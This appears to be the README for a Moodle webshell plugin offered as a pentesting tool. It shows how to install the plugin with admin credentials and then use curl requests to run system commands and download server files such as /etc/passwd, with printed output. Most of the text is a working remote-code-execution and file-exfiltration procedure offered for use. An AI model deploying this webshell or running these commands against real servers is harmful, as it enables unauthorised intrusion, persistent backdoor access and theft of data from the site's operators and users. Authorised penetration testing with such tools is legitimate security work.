Moodle webshell plugin for RCE
A webshell plugin and interactive shell for pentesting a Moodle instance.
Features
- Webshell plugin for Moodle.
- Execute system commands via an API with
?action=exec. - Download files from the remote system to your attacking machine with
?action=download.
Usage
Requirements: You need to have the credentials of the admin account of the Moodle instance.
Step 1.1: Upload the webshell plugin
Go to "Site administration --> Install plugins" page, at http://127.0.0.1:10080/admin/tool/installaddon/index.php, and click on "Choose a file":
Step 1.2: Plugin successfully uploaded
Press the buttons on the various pages until you get a message stating that your plugin is successfully uploaded:
Step 2.1: Executing commands
You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/local/moodle_webshell/webshell.php with action=exec&cmd=id:
$ curl -X POST 'http://127.0.0.1:10080/local/moodle_webshell/webshell.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}
You can also access it by a GET request from a browser:
Step 2.2: Downloading files
You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/local/moodle_webshell/webshell.php with action=download&cmd=/etc/passwd:
$ curl -X POST 'http://127.0.0.1:10080/local/moodle_webshell/webshell.php' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
You can also download a remote file from a browser with a GET request :
Step 3: The interactive console
When your webshell is active, you can now use the interactive console.py to execute commands and download remote files.
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